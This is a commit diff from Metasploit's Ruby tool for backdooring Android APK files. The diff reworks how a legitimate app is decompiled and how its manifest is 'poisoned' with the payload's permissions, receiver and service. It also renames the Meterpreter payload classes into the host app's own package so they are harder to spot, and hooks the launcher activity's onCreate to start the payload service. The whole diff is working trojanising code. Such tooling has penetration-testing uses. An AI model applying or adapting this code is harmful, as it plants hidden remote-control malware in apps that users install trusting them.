8
8
require 'optparse'
9
9
require 'open3'
10
10
11
- module Msf ::Payload ::Apk
12
-
13
- class ApkBackdoor
14
- include Msf ::Payload ::Apk
15
- def backdoor_apk ( apk , payload )
16
- backdoor_payload ( apk , payload )
17
- end
18
- end
11
+ class Msf ::Payload ::Apk
19
12
20
13
def print_status ( msg = '' )
21
14
$stderr. puts "[*] #{ msg } "
@@ -65,62 +58,45 @@ def find_launcher_activity(amanifest)
65
58
end
66
59
end
67
60
68
- def fix_manifest ( tempdir )
69
- payload_permissions = [ ]
70
-
71
- #Load payload's permissions
72
- File . open ( "#{ tempdir } /payload/AndroidManifest.xml" , "rb" ) { |file |
73
- k = File . read ( file )
74
- payload_manifest = Nokogiri ::XML ( k )
75
- permissions = payload_manifest . xpath ( "//manifest/uses-permission" )
76
- for permission in permissions
77
- name = permission . attribute ( "name" )
78
- payload_permissions << name . to_s
79
- end
80
- }
81
-
82
- original_permissions = [ ]
83
- apk_mani = ""
84
-
85
- #Load original apk's permissions
86
- File . open ( "#{ tempdir } /original/AndroidManifest.xml" , "rb" ) { |file2 |
87
- k = File . read ( file2 )
88
- apk_mani = k
89
- original_manifest = Nokogiri ::XML ( k )
90
- permissions = original_manifest . xpath ( "//manifest/uses-permission" )
91
- for permission in permissions
92
- name = permission . attribute ( "name" )
93
- original_permissions << name . to_s
94
- end
61
+ def parse_manifest ( manifest_file )
62
+ File . open ( manifest_file , "rb" ) { |file |
63
+ data = File . read ( file )
64
+ return Nokogiri ::XML ( data )
95
65
}
66
+ end
96
67
97
- #Get permissions that are not in original APK
98
- add_permissions = [ ]
68
+ def fix_manifest ( tempdir )
69
+ #Load payload's manifest
70
+ payload_manifest = parse_manifest ( "#{ tempdir } /payload/AndroidManifest.xml" )
71
+ payload_permissions = payload_manifest . xpath ( "//manifest/uses-permission" )
72
+
73
+ #Load original apk's manifest
74
+ original_manifest = parse_manifest ( "#{ tempdir } /original/AndroidManifest.xml" )
75
+ original_permissions = original_manifest . xpath ( "//manifest/uses-permission" )
76
+
77
+ manifest = original_manifest . xpath ( '/manifest' )
78
+ old_permissions = [ ]
79
+ for permission in original_permissions
80
+ name = permission . attribute ( "name" ) . to_s
81
+ old_permissions << name
82
+ end
99
83
for permission in payload_permissions
100
- if !( original_permissions . include? permission )
101
- print_status ( "Adding #{ permission } " )
102
- add_permissions << permission
84
+ name = permission . attribute ( "name" ) . to_s
85
+ unless old_permissions . include? ( name )
86
+ print_status ( "Adding #{ name } " )
87
+ original_permissions . before ( permission . to_xml )
103
88
end
104
89
end
105
90
106
- inject = 0
107
- new_mani = ""
108
- #Inject permissions in original APK's manifest
109
- for line in apk_mani . split ( "\n " )
110
- if ( line . include? "uses-permission" and inject ==0 )
111
- for permission in add_permissions
112
- new_mani << '<uses-permission android:name="' +permission +'"/>' +"\n "
113
- end
114
- new_mani << line +"\n "
115
- inject = 1
116
- else
117
- new_mani << line +"\n "
118
- end
119
- end
120
- File . open ( "#{ tempdir } /original/AndroidManifest.xml" , "wb" ) { |file | file . puts new_mani }
91
+ application = original_manifest . at_xpath ( '/manifest/application' )
92
+ application << payload_manifest . at_xpath ( '/manifest/application/receiver' ) . to_xml
93
+ application << payload_manifest . at_xpath ( '/manifest/application/service' ) . to_xml
94
+
95
+ File . open ( "#{ tempdir } /original/AndroidManifest.xml" , "wb" ) { |file | file . puts original_manifest . to_xml }
121
96
end
122
97
123
- def backdoor_payload ( apkfile , raw_payload )
98
+ def backdoor_apk ( apkfile , raw_payload )
99
+
124
100
unless apkfile && File . readable? ( apkfile )
125
101
usage
126
102
raise RuntimeError , "Invalid template: #{ apkfile } "
@@ -168,9 +144,7 @@ def backdoor_payload(apkfile, raw_payload)
168
144
print_status "Decompiling payload APK..\n "
169
145
run_cmd ( "apktool d #{ tempdir } /payload.apk -o #{ tempdir } /payload" )
170
146
171
- f = File . open ( "#{ tempdir } /original/AndroidManifest.xml" )
172
- amanifest = Nokogiri ::XML ( f )
173
- f . close
147
+ amanifest = parse_manifest ( "#{ tempdir } /original/AndroidManifest.xml" )
174
148
175
149
print_status "Locating hook point..\n "
176
150
launcheractivity = find_launcher_activity ( amanifest )
@@ -194,15 +168,33 @@ def backdoor_payload(apkfile, raw_payload)
194
168
raise RuntimeError , "Unable to find onCreate() in #{ smalifile } \n "
195
169
end
196
170
197
- print_status "Copying payload files.. \n "
198
- FileUtils . mkdir_p ( "#{ tempdir } /original /smali/com/metasploit/stage/" )
199
- FileUtils . cp Dir . glob ( "#{ tempdir } /payload/smali/com/metasploit/stage/Payload *.smali" ) , " #{ tempdir } /original/smali/com/metasploit/stage/"
171
+ # Remove unused files
172
+ FileUtils . rm "#{ tempdir } /payload /smali/com/metasploit/stage/MainActivity.smali"
173
+ FileUtils . rm Dir . glob ( "#{ tempdir } /payload/smali/com/metasploit/stage/R *.smali" )
200
174
201
- payloadhook = entrypoint + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
175
+ package = amanifest . xpath ( "//manifest" ) . first [ 'package' ]
176
+ package_slash = package . gsub ( /\. / , "/" )
177
+ print_status "Adding payload as package #{ package } \n "
178
+ payload_files = Dir . glob ( "#{ tempdir } /payload/smali/com/metasploit/stage/*.smali" )
179
+ payload_dir = "#{ tempdir } /original/smali/#{ package_slash } /"
180
+ FileUtils . mkdir_p payload_dir
181
+
182
+ # Copy over the payload files, fixing up the smali code
183
+ payload_files . each do |file_name |
184
+ smali = File . read ( file_name )
185
+ newsmali = smali . gsub ( /com\/ metasploit\/ stage/ , package_slash )
186
+ newfilename = "#{ payload_dir } #{ File . basename file_name } "
187
+ File . open ( newfilename , "wb" ) { |file | file . puts newsmali }
188
+ end
189
+
190
+ payloadhook = entrypoint + %Q^
191
+ invoke-static {p0}, L#{ package_slash } /MainService;->startService(Landroid/content/Context;)V
192
+ ^
202
193
hookedsmali = activitysmali . gsub ( entrypoint , payloadhook )
203
194
204
195
print_status "Loading #{ smalifile } and injecting payload..\n "
205
196
File . open ( smalifile , "wb" ) { |file | file . puts hookedsmali }
197
+
206
198
injected_apk = "#{ tempdir } /output.apk"
207
199
aligned_apk = "#{ tempdir } /aligned.apk"
208
200
print_status "Poisoning the manifest with meterpreter permissions..\n "
0 commit comments